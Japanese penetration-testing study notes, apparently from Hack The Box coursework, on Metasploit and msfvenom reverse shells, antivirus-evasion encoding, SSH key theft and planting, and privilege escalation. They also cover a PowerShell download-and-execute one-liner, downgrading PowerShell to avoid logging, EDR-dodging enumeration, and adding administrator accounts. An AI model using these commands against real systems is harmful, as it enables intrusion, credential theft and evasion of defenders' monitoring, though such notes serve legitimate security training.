| `Mythic C2 Framework`             | [ソース](https://github.com/its-a-feature/Mythic) Mythic C2フレームワークは、独自のペイロード生成のためのコマンドおよび制御フレームワークおよびツールボックスとしてのMetasploitの代替オプションです。                                                                           |
| `Nishang`                         | [Source](https://github.com/samratashok/nishang) Nishangは、Offensive PowerShellインプラントとスクリプトのフレームワークコレクションです。これには、どのペンテスターにも役立つ多くのユーティリティが含まれています。                                                             |
| `Darkarmour`                      | [Source](https://github.com/bats3c/darkarmour) Darkarmourは、Windowsホストに対して使用するために難読化されたバイナリを生成して利用するツールです。                                                                                                    |


# Metasploit 
なんか検索全体で、こんな感じで、`grep` で検索できるらしい
{{CODE_BLOCK_176}}
## Moduleのタイプ
- Auxiliary  
    スキャン、ファズ、スニッフィング、管理などの補助的な機能を提供し、追加サポートを行います。
- Encoders
    ペイロードがターゲットに正しく届くように変換処理を行います。
- Exploits  
    ペイロードの配信を可能にする脆弱性を突くモジュールです。
- NOPs
    (No-Operationの略)エクスプロイト実行時にペイロードのサイズを一定に保つ役割を果たします。
- Payloads
    リモートでコードを実行し、攻撃者のマシンにコールバックして接続(またはシェル)を確立します。
- Plugins
    追加スクリプトがmsfconsoleに統合され、評価作業をサポートします。
- Post
    情報収集やさらなるネットワーク内移動(ピボット)のための各種モジュールです。

- モジュールについてさらに知りたいとき : モジュールを選択した後、コマンド`info`


## Targetsについて
- ターゲットには、Internet Explorerの異なるバージョンや様々なWindowsバージョンが含まれる  
- 「Automatic」を選択すると、msfconsoleは攻撃成功前に指定されたターゲットでのサービス検出を行う
- 対象システムのバージョンが分かっている場合は、`show targets`の後に、`set target <index no.>`コマンドでリストから適切なターゲットを選択できる  
- ターゲットは、選択したエクスプロイトモジュールを特定のOSバージョンに適応させるための一意の識別子として機能する  

## Payloadについて
- 中でMsfvenomが動いているので、上のMsfvenomの説明
- `grep meterpreter show payloads`で検索して、`set payload`で設定して、`show payload options`でオプションを検索する

Metaploit内では、以下で、payloadとencordを行える
- 利用可能なペイロードと同様に、エンコーダもエクスプロイトモジュールに従って自動的にフィルタリングされ、互換性のあるペイロードのみが表示される
{{CODE_BLOCK_177}}


### MSFVenom
- ペイロード生成とエンコードを一括で行える
- ペイロード作成
	- 各種OS・アーキテクチャ向けに多様なペイロードを生成
	- リバースシェルやバインドシェル、Meterpreterなど、Metasploitが提供するペイロードを一括で扱える
- ペイロードの暗号化・エンコード
	- MSFvenomの機能により、ウイルス対策ソフトに検知されにくい形でペイロードを作成可能
	- エンコードや暗号化を利用することで、一般的なシグネチャをバイパスできる可能性が高まる
- ソーシャルエンジニアリングとの組み合わせ
	- メールに添付して実行を誘導したり、悪意あるWebリンクとして配布するなど、多彩な攻撃シナリオで活用
	- 直接ネットワーク経由で攻撃できない場合に、ユーザーダブルクリック誘導などがよく使われる方法

- ペイロードのリストの一覧を表示する
{{CODE_BLOCK_178}}

Descriptionに書いてあるstagedとstagelessの違い
- staged
	- マルウェアのダウンローダーみたいな感じで、最初に実行して、外部サーバーから本命の大きなペイロード実行ファイルをダウンロードして、実行する
	- メモリを食う
	- ターゲットのネットワークが安定していないと無理
- stageless
	- ステージなしでネットワーク接続を介して全体として送信される
	- 十分のネットワークリソースにアクセスできない環境で、遅延が干渉する可能性がある場合に有効
	- **ステージレスペイロードの方が良い!**
	- ソーシャルエンジニアリングの時も回避しやすい
- 見分け方
	- 名前に`/`で細かく区切りが多い→staged
		- 例 : `windows/meterpreter/reverse_tcp`
	- `_`で機能がまとまっていれば→stageless
		- 例 : `windows/meterpreter_reverse_tcp`

**Windowsの代表的なペイロード**

| ペイロード                           | 説明                                               |
| ------------------------------- | ------------------------------------------------ |
| generic/custom                  | 汎用リスナー、マルチユース                                    |
| generic/shell_bind_tcp          | 汎用リスナー、マルチユース、通常のシェル、TCP接続のバインド                  |
| generic/shell_reverse_tcp       | 汎用リスナー、マルチユース、通常のシェル、リバースTCP接続                   |
| windows/x64/exec                | 任意のコマンドを実行 (Windows x64)                         |
| windows/x64/loadlibrary         | 任意のx64ライブラリパスをロード                                |
| windows/x64/messagebox          | MessageBoxを使用して、タイトル、テキスト、アイコンをカスタマイズ可能なダイアログを生成 |
| windows/x64/shell_reverse_tcp   | 通常のシェル、単一ペイロード、リバースTCP接続                         |
| windows/x64/shell/reverse_tcp   | 通常のシェル、ステージャー+ステージ、リバースTCP接続                     |
| windows/x64/shell/bind_ipv6_tcp | 通常のシェル、ステージャー+ステージ、IPv6 Bind TCPステージャー           |
| windows/x64/meterpreter/$       | Meterpreterペイロード+上記の各種バリエーション                    |
| windows/x64/powershell/$        | 対話型PowerShellセッション+上記の各種バリエーション                  |
| windows/x64/vncinject/$         | VNCサーバー(反射型インジェクション)+上記の各種バリエーション                |


### ペイロードの作成
エンコードなし
{{CODE_BLOCK_179}}

| **オプション/要素**                     | **役割・説明**                                                                 |
| -------------------------------- | ------------------------------------------------------------------------- |
| `-p linux/x64/shell_reverse_tcp` | ペイロードの指定 : Linux 64ビット向けの“reverse TCP shell”を生成。実行すると、攻撃者側に逆接続してシェルを提供する。 |
| `LHOST=10.10.14.113`             | 攻撃者のIPアドレス: ペイロードが確立しようとする攻撃者(こちら側)のIPアドレス。                               |
| `LPORT=443`                      | 攻撃者のポート番号: ペイロードが接続を試みるポート番号。ここでは443を使用。                                  |
| `-f elf`                         | 出力ファイル形式の指定 : 生成するファイルをLinux向けのELF形式にする。                                  |
| `> createbackup.elf`             | 標準出力のリダイレクト : 作成されたバイナリを`createbackup.elf`として保存する。                        |

### エンコード
エンコーダの役割
- 異なるアーキテクチャへの対応
	- ペイロードを異なるプロセッサアーキテクチャ(x64、x86、SPARC、PPC、MIPSなど)やOS上で動作させるために変換する役割を担っています。
- アンチウイルス(AV)回避
- ペイロード内に含まれる「bad characters」と呼ばれる16進数のオペコードを除去したり、ペイロードを異なるフォーマットにエンコードすることで、アンチウイルスによる検出を回避しやすくします。
	- ※ただし、IPS/IDSメーカーが保護ソフトを進化させたため、AV回避専用のエンコーダーの効果は時間とともに薄れてきています。

Shikata Ga Nai (SGN) について
- 現在最も利用されているエンコーディング方式の一つであるSGNは、かつては検出が非常に困難なため、SGNでエンコードされたペイロードはほぼ検出不可能とされていました。
- 名前「仕方がない」は「どうしようもない」という意味で、数年前にはその通りに感じられたでしょう。しかし、現代ではSGNだけでは万能ではなく、保護システムを回避するために他の手法も検討されています。

shikata_ga_naiでエンコード
{{CODE_BLOCK_180}}

| オプション                          | 説明                                        |
| ------------------------------ | ----------------------------------------- |
| `-a x86`                       | アーキテクチャを x86 に指定                          |
| `--platform windows`           | プラットフォームを Windows に指定                     |
| `-p windows/shell/reverse_tcp` | ペイロードとして Windows のシェル(リバースTCP接続)を選択       |
| `LHOST=127.0.0.1`              | 攻撃者側(リスナー)のIPアドレスを 127.0.0.1 に設定          |
| `LPORT=4444`                   | 攻撃者側(リスナー)のポート番号を 4444 に設定                |
| `-b "\x00"`                    | ペイロードから除外するバッドキャラクターとして NULL を指定          |
| `-f perl`                      | 出力形式を Perl スクリプト形式に指定                     |
| `-e x86/shikata_ga_nai`        | エンコーダーとして x86/shikata_ga_nai を使用(エンコード処理) |

エンコードなし
{{CODE_BLOCK_181}}

#### AVの回避
最近のAVでは、それぞれのエンコードを一回行っても全然検知されてしまう
- 1つの簡単なAV回避の方法は、同じエンコーディングを反復してエンコードしてみること
	- でも全然回避できないことが多いから、他の方法を使ったほうがいい
{{CODE_BLOCK_182}}
- Metasploitは、APIキーでペイロードを分析することができる`msf-virustotal`と呼ばれるツールを提供しているから、それで確認して、AVの回避を向上させるのも面白いかもしれない
	- VirusTotalへの無料登録が必要
こんな感じで使えるらしい
{{CODE_BLOCK_183}}

### 実行手順の流れ
1. 攻撃者が `msfvenom` コマンドでペイロードを生成(`createbackup.elf`)
2. 攻撃者側がリスナーを開いて待ち受けておく
	- `sudo nc -lvnp 443`
3. ターゲットにいずれかの方法でダウンロードさせる
##### Linux・Windows共通
- ファイル添付メール
- ウェブサイトのダウンロードリンク
- Metasploitエクスプロイトモジュールと組み合わせる(これはおそらく、すでに内部ネットワーク上にいる必要があります)。
- オンサイト侵入テストの一環として、フラッシュドライブを介して。
##### Windows
- Impacket
	- ネットワーク プロトコルと直接対話する方法を提供する Python の組み込みツールセット
	- `psexec`、`smbclient`、`wmi`、Kerberos、およびSMBサーバーをスタンドアップする能力を扱っているコマンド
- [Payload All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md): は、ホスト間でファイルを便利に転送するのに役立つ迅速なワンライナーを見つけるための優れたリソース
- SMB
	- 被害者のホストがドメインに参加し、共有を利用してデータをホストする場合に特に便利
	- 攻撃者として、これらのSMBファイル共有を`C$`と`admin$`とともに使用して、ペイロードをホストして転送し、リンクを介してデータを流出させることさえできた
- `Remote execution via MSF`
	- Metasploitの多くのエクスプロイトモジュールに組み込まれているのは、ペイロードを自動的に構築、ステージング、実行する関数
- 他のプロトコル
	- ホストを見ると、FTP、TFTP、HTTP/Sなどのプロトコルは、ホストにファイルをアップロードする方法をがあるかも
	- オープンで使用できる機能を列挙して探そう!

4. ターゲットで `createbackup.elf` を実行(適宜権限を付与し実行)
5. 実行されたプログラムが `LHOST` : `LPORT` へ接続
6. ncで待ち受けていた攻撃者側がシェルを取得できる
- Windowsでは、`encoding`や`encryption`がなければ、この形式のペイロードはほぼ確実にWindows Defender AVによって検出される
- BonusCompensationPDF.exeなんだけど、一般の人はあんまり拡張子をつけないから実行できるとかね

### Windowsファイル形式
 ペイロードの時、どのファイルを選んだらいいの?
- **DLL (Dynamic Link Library)**
    - **Microsoft OS で使用されるライブラリファイル**
    - 複数のプログラムで同時に利用可能な**共有コードとデータ**を提供
    - モジュール化されたアプリケーション構成を可能にし、**アップデートやメンテナンスが容易**
    - **ペンテスター視点**: 悪意ある DLL の注入やライブラリのハイジャックにより、**SYSTEM 権限昇格**や**UAC (ユーザーアカウント制御) のバイパス**を狙える
- **バッチ (Batch) ファイル**
    
    - **テキストベースの DOS スクリプト** (`.bat`)
    - コマンドラインインタプリタを介して**複数のタスクを自動実行**
    - システム上でのコマンド実行を容易にし、ポートを開く・攻撃者側への接続などの仕掛けが可能
    - **ペンテスター視点**: 基本的な列挙を実行させたり、オープンポート経由で情報を取得するなど、自動化に利用
- **VBS (VBScript)**
    
    - **Microsoft Visual Basic ベース**の軽量スクリプト言語
    - もともと**動的なウェブページ用** (クライアントサイドスクリプト) として利用されていた
    - **最新ブラウザでは非推奨・無効**が多い
    - **ペンテスター視点**: フィッシングや Excel マクロなど、**ユーザーの操作を誘導**してコードを Windows スクリプトエンジンで実行させる手口で依然活用される
- **MSI (.msi ファイル)**
    
    - **Windows インストーラーのインストールデータベース**として機能
    - 新しいアプリをインストールする際、`.msi` ファイルを参照して必要コンポーネントを取得
    - **ペンテスター視点**: ペイロードを `.msi` 化することで **Windows インストーラー**を利用し、`msiexec` コマンドで実行可能
    - インストール後に**昇格権限のリバースシェル**などを得ることができる
- **PowerShell**
    
    - **シェル環境 + スクリプト言語** (Microsoft OS での最新シェル)
    - **.NET Common Language Runtime** 上で動作し、**.NETオブジェクト**を入出力として扱う
    - **ペンテスター視点**: シェルの取得やホスト上でのスクリプト実行など、**侵入テストで幅広く活用**できる多数のオプションを提供

 CMDとPSどっちのターミナル言語使えばいいの?

  CMD を使用する場合
- 古いホストで PowerShell が含まれていない可能性があるとき
- ホストに対してシンプルな操作やアクセスだけが必要なとき
- シンプルなバッチファイル、net コマンド、または MS-DOS ネイティブツールを使用する予定のとき
- スクリプトやその他のアクションの実行に影響する可能性がある実行ポリシーを回避したいとき

PowerShell を使用する場合
- Cmdlet やその他の独自スクリプトを活用する予定のとき
- テキスト出力ではなく .NET オブジェクトとして操作したいとき
- ステルス性がさほど重要でないとき
- クラウドベースのサービスやホストとやり取りする予定のとき
- スクリプト内でエイリアス(Aliases)を設定・使用するとき

##### 侵入口としてのWSL
- **WSL(Windows Subsystem for Linux)**
    - ホストに組み込まれた仮想 Linux 環境を提供
    - OS の急速な変化に伴い、新たなホストアクセス手法を可能にする可能性
    - Python3 と Linux バイナリを利用して、WSL を介し Windows ホストにペイロードをダウンロード・インストールするマルウェアが確認されている
    - 攻撃者は Windows と Linux 双方にネイティブな Python ライブラリを使い、PowerShell と組み合わせてホスト上で別のアクションを実行
    - **WSL インスタンスとの通信(ネットワーク要求や機能)は Windows ファイアウォールや Windows Defender で解析されず、ホストの死角となる**
- **PowerShell Core**
    - Linux オペレーティングシステム上にもインストール可能
    - 多くの通常の PowerShell 機能を引き継いでいる
    - 攻撃ベクトルや監視手法がまだ十分に知られていないため、潜在的に卑劣な手段として利用されうる
    - AV や EDR の検出メカニズムを回避する目的で使用される事例がある

### ファイアーウォールとIDS/IPS回避
- https://academy.hackthebox.com/module/39/section/416


## DatabaseMsfconsoleについて
- スキャン結果、エントリーポイント、検出された脆弱性、収集された資格情報などの情報を整理・管理するために使える
- msfconsoleではPostgreSQLが使用され、結果のインポートやエクスポートも可能
なんか今のところあんまり使いたい意欲ないから、使いたくなったら、ここに詳しく書いてあるよ
- https://academy.hackthebox.com/module/39/section/411


## Pluginについて
なんか今のところあんまり使いたい意欲ないから、使いたくなったら、ここに詳しく書いてあるよ
- https://academy.hackthebox.com/module/39/section/413
- プラグイン作るとかだったら面白そうと思うんだけどね

## **セッション管理**
- Meterpreterは繋げるまま、一旦Meterpreterから抜ける
{{CODE_BLOCK_184}}

- セッション一覧表示

{{CODE_BLOCK_185}}

- セッション接続・セッションに戻る

{{CODE_BLOCK_186}}

- セッション全終了

{{CODE_BLOCK_187}}

### **特権昇格の発見とエクスプロイト**

Mesterpreterでユーザー権限でセッションが確立している時、ターゲットシステムに適した特権昇格エクスプロイトを提案させることができる
{{CODE_BLOCK_188}}

---

# シェルアップデート
- linux
	- python3 -c 'import pty; pty.spawn("/bin/bash")'
	- /bin/sh -i
	- perl —e 'exec "/bin/sh";'
	- awk 'BEGIN {system("/bin/sh")}'
	- find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;
	- find . -exec /bin/sh \; -quit
	- vim -c ':!/bin/sh'
	- 以下は、スクリプトで書いて実行する必要がある
		- perl: exec "/bin/sh";
		- ruby: exec "/bin/sh"
		- lua: os.execute('/bin/sh')
Vimのセッション内でもできる
{{CODE_BLOCK_189}}

- windows
- 方法 : rlwrap は、コマンドラインの入力履歴や補完機能を提供するラッパープログラムです。これを nc と組み合わせることで、シェルの機能を強化できます。

{{CODE_BLOCK_190}}

# 横展開

## Linux
リバースシェルで、ログインした時、最初は、「www-data」であることがある。
その時、www-dataのパスワードがわからないので横展開が必要

- データベース情報を書き換える・新規追加
	- ローカルの空いてるポート見つけるコマンド
		- `netstat -tuln`
	- データベースの種類を見分ける方法
		- **ポート番号3306**は、MySQLまたはMariaDBのデフォルトポート
		- **ポート番号:5432**:PostgreSQL

- HTBでの認証情報の使い回し
	- webのログインで取得したパスワードとサーバー上のユーザーが同じことがある
	- DBの設定ファイルにあるパスワードとsshのパスワードが同じ

- **`/etc/passwd` から有効なシェルを持つユーザーの確認**
	- `/etc/passwd` の最後のフィールドは、**そのユーザーのデフォルトシェル** を示している。  
	- `/bin/bash` ・`/bin/sh`
		-  ユーザーは、**通常のログインが可能**。
		- 横展開先のユーザーに最適
	- **`/usr/sbin/nologin`**
	    - このシェルが設定されているユーザーは、**ログインできない** ように制限されている。
	    - 例えば、`www-data` や `mysql` などのシステムユーザーに設定されている。
	- **`/bin/false`**
	    - これもログインを拒否するための設定。
	    - `false` コマンドは何もせず終了するため、**ログインを試みても即ログアウトする**。
	横展開先のユーザーを探す時に使える。

### ディレクトリトラバーサル
- 以下のリンクのディレクトリトラバーサル試していく
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/README.md#path-traversal
- [[Web Page, Web App#LFIスキャンの流れ]]

## ピポット・トンネリング・ポートフォワーディング
[[Pivoting・Tunneling ・Port Forwarding]]

# 権限昇格
- 現在のユーザーで、sudo コマンドを使用して実行可能なコマンドや権限を確認する
{{CODE_BLOCK_191}}
- 正直HTBのEasyとかMediumの一部では、このコマンド打って、NoPasswordって書いてあるスクリプトをsudo権限で実行すれば権限昇格できる。

- ここにまとまってるから、あとでまとめる
	- https://scrapbox.io/tadanomemo777/Linux_%E6%A8%A9%E9%99%90%E6%98%87%E6%A0%BC

### 権限昇格で使えるチェックリスト
- [HackTricks](https://book.hacktricks.xyz/) 
	- [Linux](https://book.hacktricks.wiki/ja/linux-hardening/linux-privilege-escalation-checklist.html) と [Windows](https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html) の両方のローカル特権の昇格に関する優れたチェックリスト
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) 
	- [Linux](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md) と [Windows](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) の両方のチェックリストがある

### 自動列挙ツール
- 上記のコマンドの多くは、レポートを調べて弱点を探すためにスクリプトで自動的に実行される場合がある
- 興味深い結果を返す一般的なコマンドを実行することで、多くのスクリプトを実行してサーバーを自動的に列挙できる
- 一般的な Linux 列挙スクリプトには、[LinEnum](https://github.com/rebootuser/LinEnum.git) と [linuxprivchecker](https://github.com/sleventyeleven/linuxprivchecker) があり、Windows には [Seatbelt](https://github.com/GhostPack/Seatbelt) と [JAWS ](https://github.com/411Hall/JAWS)がある。
- [Privilege Escalation Awesome Scripts SUITE(PEASS)](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
	- 最新の状態に保つために適切に維持されており、LinuxとWindowsの両方を列挙するためのスクリプトが含まれている
しかし、自動列挙ツールはウイルス対策ソフトウェアまたはセキュリティ監視ソフトウェアをトリガーする可能性のある多くの「ノイズ」を生成するので、スクリプトの実行が妨げられたり、システムが侵害されたというアラームがトリガーされたりする可能性がある。場合によっては、スクリプトを実行する代わりに手動列挙を実行する必要がある。

これらのスクリプトの出力で、探すべき脆弱性
- カーネルエクスプロイト
	- 普通にバージョンが古いOSだと、パッチが当たってないから、脆弱性になりうる
- 脆弱なソフトウェア
	- linux : `dpkg -l`
		- インストールされているソフトウェアが、古いバージョンの時、脆弱性がある場合がある。
	- Windows : `C:\Program Files`以下を見る
- ユーザー権限
	- Sudo
		- `sudo -l`
			- (ALL : ALL) ALL 
				- `sudo`ですべてのコマンドを実行でき、完全なアクセス権を与え、`sudo`で`su`コマンドを使用してルートユーザーに切り替えることができると述べています。
			- (user : user) NOPASSWD: /bin/echo
				- `sudo`でコマンドを実行するにはパスワードが必要です。特定のアプリケーション、またはすべてのアプリケーションをパスワードなしで実行できる場合があり
	- SUID
		- SUID バイナリ (Set User ID) を検索して一覧表示する
		- `find / -type f -perm -04000 -ls 2>/dev/null`
	- Windows Token Privileges
		-  GTFOBins : https://gtfobins.github.io
		- Windows版 GTFOBins : https://lolbas-project.github.io/#


スケジュールされたタスク
- スケジュールされたタスク(Windows)またはcronジョブ(Linux)を利用して特権をエスカレーションするには、通常2つの方法があります。
	- 新しいスケジュールされたタスク/cronジョブを追加する
	- 悪意のあるソフトウェアを実行するように彼らをだます
	- 新しいスケジュールされたタスクを追加できるかどうかを確認する
		- /etc/crontab
		- /etc/cron.d
		- /var/spool/cron/crontabs/root
		- cronジョブによって呼び出されたディレクトリに書き込むことができれば、実行時にリバースシェルを送信するリバースシェルコマンドでbashスクリプトを記述できる

SSHキー
- 特定のユーザーの .ssh を読み取れるアクセス権がある場合
	- 以下のプライベート ssh キーを参照・コピー
		- `cat /root/.ssh/id_rsa`
		- `cat /user1/.ssh/id_rsa`
	- ローカルにペースト・権限を与える
		- `nano id_rsa`
		- `chmod 600 id_rsa`
	- ローカルから接続
		- `ssh root@94.237.53.117 -p 53658 -i id_rsa`

ユーザー`/.ssh/`ディレクトリへの書き込みアクセス権がある場合
- ユーザーのsshディレクトリの/home/user/.ssh/authorized_keysに公開鍵を配置
- 出力ファイルを指定するには、まず ssh-keygen と -f フラグで新しいキーを作成する
{{CODE_BLOCK_192}}
- `key`(`ssh -i`で使用します)と`key.pub`の2つのファイル
- `key.pub`をコピーして、リモートマシンで`/root/.ssh/authorized_keys`に追加
- 被害者PCで実行
{{CODE_BLOCK_193}}
- これで、リモートサーバーは、秘密鍵を使用してそのユーザーとしてログインできるはず
{{CODE_BLOCK_194}}


## LOLBANS
Living Off the Landで使うための辞書的存在
- 環境にあるものだけでやりくりする
	- つまり、Windows/Active Directoryに標準で備わっているツールやコマンドだけを使う手法に頼らざるを得ない
- また、他のツールを使うことで、アラートも少なくなる可能性がある
	- IPS/IDSなどが、通常の通信とは異なる通信ということでアラートが出るようになっている可能性もあるため

LOLBANSについてまとめているサイト
- Windows
	- https://lolbas-project.github.io
- Linux
	- https://gtfobins.github.io/

その他、使えるコマンド
### Windows
Powershell上で実行
#### 基本的な列挙

| **コマンド**                                                                                   | **結果**                                                                                 |
| ------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| hostname                                                                                   | PCの名前を表示する                                                                             |
| [System.Environment]::OSVersion.Version                                                    | OSのバージョンとリビジョンレベルを表示する                                                                 |
| wmic qfe get Caption,Description,HotFixID,InstalledOn                                      | ホストに適用されているパッチやホットフィックスの一覧を表示する                                                        |
| ipconfig /all                                                                              | ネットワークアダプターの状態と構成を表示する                                                                 |
| set                                                                                        | 現在のセッションでの環境変数一覧を表示する(CMDプロンプトから実行)                                                    |
| echo %USERDOMAIN%                                                                          | ホストが所属しているドメイン名を表示する(CMDプロンプトから実行)                                                     |
| echo %logonserver%                                                                         | ホストがチェックインしているドメインコントローラーの名前を表示する(CMDプロンプトから実行)                                        |
| **systeminfo**                                                                             | 上のコマンド達の結果をこのコマンドで表示できる                                                                |
| Get-Module                                                                                 | 使用可能な(ロードされている)モジュールの一覧を表示                                                             |
| Get-ExecutionPolicy -List                                                                  | ホスト上の各スコープごとの実行ポリシー設定を表示                                                               |
| Set-ExecutionPolicy Bypass -Scope Process                                                  | -Scope パラメータを使用して、現在のプロセスだけに実行ポリシーを一時的に変更する。このプロセスを終了すると元に戻るため、ホストに恒久的な変更を加えずに済む       |
| `Get-ChildItem Env:\| ft Key,Value`                                                        | 環境変数(キーと値のペア)を一覧表示し、パス、ユーザー名、コンピュータ情報などを取得                                             |
| Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt   | 特定ユーザーのPowerShellコマンド履歴を取得します。この履歴にはパスワードや、パスワードが含まれる設定ファイル/スクリプトの手がかりがある場合もあるため、有用です。 |
| powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('ダウンロード元のURL'); <続くコマンド>" | Web上からファイルをダウンロードして、メモリ上で実行するためのシンプルかつ迅速な方法です。                                         |
#### 運用上のセキュリティ戦術

Powershellのダウングレード
- ディフェンス側は、1台のホストに複数バージョンのPowerShellが存在している可能性があることに気づいていないことがある
	- アンインストールされていなければ、古いバージョンも依然として使用可能
	- PowerShellの**イベントログ記録機能は、PowerShell 3.0以降で導入された**機能
	- 逆に、PowerShell 2.0以前のバージョンを呼び出すことができれば、そのシェル上での操作はEvent Viewer(イベントビューア)に記録されない
	- **ディフェンダーの監視の目をかいくぐる**ための優れた方法の一つ
Powershellをダウングレードするコマンド
{{CODE_BLOCK_195}}

本当にダウングレードできているのか
- ダウングレードする前とダウングレードした後に`Get-Host`コマンドを打って、出力結果の`Version`の部分を見る
- ダウングレードした後のVersionが2.0になっていなければOK

本当にログが記録されていないか
- PowerShell Operationalログ
	- 場所:`Applications and Services Logs > Microsoft > Windows > PowerShell > Operational`
	- → ここには、セッション内で実行されたすべてのコマンドが記録されるはずなので、ここに記録されていなければ大丈夫
- Windows PowerShellログ
	- 場所:`Applications and Services Logs > Windows PowerShell`
	- → PowerShellを起動したときに、そのインスタンスがログとして記録されるので、ここに記録されていなければ大丈夫
- 注意点
	- PowerShellセッション内で powershellのダウングレードを実行したという操作自体はログに記録される

#### 防御機構の確認
Windowsファイアーウォールの設定状態や、稼働状況を確認する

ファイアーウォールの確認
- 全てのファイアーウォールプロファイル(ドメイン・プライベート・パブリック)に関する設定情報が表示できる
{{CODE_BLOCK_196}}

Windows Defenderの確認
cmd.exeで実行
- STATEの部分に注目する
{{CODE_BLOCK_197}}

Defender の詳細なステータスや構成設定を確認する
{{CODE_BLOCK_198}}

**自分以外に誰かログインしていないか**
- 自分以外もログインしていた場合、ポップアップウィンドウが出たり、強制ログアウトさせられることがある
- なので、まず侵入した時は自分以外に誰かログインしていないかを確認する
{{CODE_BLOCK_199}}
STATEの見方

| STATE                  | 意味                          | 誰かログインしてる? | 補足                        |
| ---------------------- | --------------------------- | ---------- | ------------------------- |
| **Active**             | セッションが**アクティブ(操作中)**        | ✅ はい       | ユーザーが現在ログイン&使ってる状態        |
| **Disc**(Disconnected) | セッションが**切断された**(ログイン中だが未使用) | ✅ はい       | RDP切断後とか。まだメモリ上にセッションはある  |
| **Listen**             | セッション待機中(**接続待ち状態**)        | ❌ いいえ      | 誰もログインしてないが、RDP接続を待っている状態 |
| **Idle**               | 放置状態(Activeのまま時間が経過)        | ✅ はい       | 実際はActiveと同じ扱いになることもある    |
類似コマンド
- Windows環境で現在ログインしているユーザーのセッション情報を一覧表示するコマンド
{{CODE_BLOCK_200}}

#### ネットワーク情報
- 現在のホストが把握している他のホストやネットワークを表示する
- ルーティングテーブルに表示されるネットワーク
	- ホストが頻繁にアクセスしているか、もしくは管理者によってルートが明示的に設定されている
	- つまり、そのネットワーク上にあるドメインのリソースにアクセスする手段を知っているということ

これらのコマンドは、ブラックボックス型の探索フェーズで役にたつ
パッシブな情報収集手段として非常に有効
**AD環境の列挙に役立つだけでなく、他のネットワークセグメントへのピボット(横展開)機会を見つける助け**にもなる

| **ネットワーク系コマンド**                    | **説明**                                                          |
| ---------------------------------- | --------------------------------------------------------------- |
| arp -a                             | ARPテーブルに記録されている既知のホスト一覧を表示                                      |
| ipconfig /all                      | ホストのネットワークアダプタ設定を出力する。ネットワークセグメントを把握できる                         |
| route print                        | ルーティングテーブル(IPv4 & IPv6)を表示する。ホストが認識しているネットワークやレイヤー3のルート情報が確認できる |
| netsh advfirewall show allprofiles | ホストのファイアウォールの状態を表示する。アクティブかどうか、トラフィックをフィルタリングしているかなどを確認できる      |
#### WMI
- WMI : Windows Management Instrumentationは、Windowsの企業環境で広く使われているスクリプトエンジン
- ローカルおよびリモートのホストに対して、情報の取得や管理タスクの実行を行うことができる
PowerShellで実行する

| **コマンド**                                                                               | **説明**                                               |     |
| -------------------------------------------------------------------------------------- | ---------------------------------------------------- | --- |
| wmic qfe get Caption,Description,HotFixID,Installed                                    | ホストに適用されているパッチやホットフィックスの概要と適用日時を表示する                 |     |
| wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:L        | ホストに関する基本情報(ホスト名、ドメイン、製造元、モデル、ユーザー名、役割など)を表示する       |     |
| wmic process list /format:                                                             | ホスト上で実行中のすべてのプロセスの一覧を表示する                            |     |
| wmic ntdomain list /format                                                             | ドメインおよびドメインコントローラーに関する情報を表示する                        |     |
| wmic useraccount list /forma                                                           | ホスト上のすべてのローカルアカウント、ならびに過去にログインしたドメインアカウントに関する情報を表示する |     |
| wmic group list /form                                                                  | すべてのローカルグループに関する情報を表示する                              |     |
| wmic sysaccount list /for                                                              | サービスアカウントとして使用されているシステムアカウントに関する情報を出力する              |     |
| wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress | **現在のドメインが信頼関係を持つドメインや子ドメイン、外部フォレスト**に関する情報を取得       |     |

#### ドメインからの列挙
- ドメインから情報を列挙(enumerate)する際に非常に役立つツール
- ローカルホストおよびリモートホストの両方に対してクエリを実行することができ、機能的には WMI と似たような使い方ができる
	- ローカルおよびドメインユーザー
	- グループ
	- ホストの一覧
	- 特定グループに所属するユーザー
	- ドメインコントローラー
	- パスワードポリシーな度がわかる
注意点
- net.exe を使ったコマンドは EDR(Endpoint Detection and Response)によって監視されていることが多いので、バレたり、ブロックされる可能性も全然ある
- でも`net`の代わりに`net1`を使うことで、netと同じことをすることができる
	- `net1`は、互換性のために残されているコマンドで、アラートとかに乗っかりにくいかもしれない


| **コマンド**                                   | **説明**                                              |
| ------------------------------------------ | --------------------------------------------------- |
| net accounts                               | パスワードの要件に関する情報                                      |
| net accounts /domain                       | パスワードとアカウントロックアウトのポリシー                              |
| **net group /domain**                      | ドメイングループに関する情報                                      |
| net group "Domain Admins" /domain          | ドメイン管理者権限を持つユーザーの一覧                                 |
| net group "domain computers" /domain       | ドメインに参加しているPCの一覧                                    |
| net group "Domain Controllers" /domain     | ドメインコントローラーのPCアカウント一覧                               |
| net group <グループ名> /domain                  | 指定したグループに所属しているユーザー                                 |
| net groups /domain                         | ドメイングループの一覧                                         |
| net localgroup                             | 使用可能なローカルグループの一覧                                    |
| net localgroup administrators /domain      | ドメイン内の管理者グループに所属するユーザー一覧(※通常 “Domain Admins” も含まれる) |
| net localgroup Administrators              | ローカル「Administrators」グループの情報                         |
| net localgroup administrators [ユーザー名] /add | 指定ユーザーを Administrators グループに追加                      |
| net share                                  | 現在の共有フォルダの確認                                        |
| net user <アカウント名> /domain                  | ドメイン内の特定ユーザーの情報取得                                   |
| net user /domain                           | ドメイン内のすべてのユーザーを一覧表示                                 |
| net user /domain <ユーザーネーム>                 | ドメイン内のユーザーの詳細情報を表示する                                |
| net user %username%                        | 現在ログインしているユーザーの情報                                   |
| net use x: \\コンピュータ名\共有名                   | 指定された共有をローカルにマウント                                   |
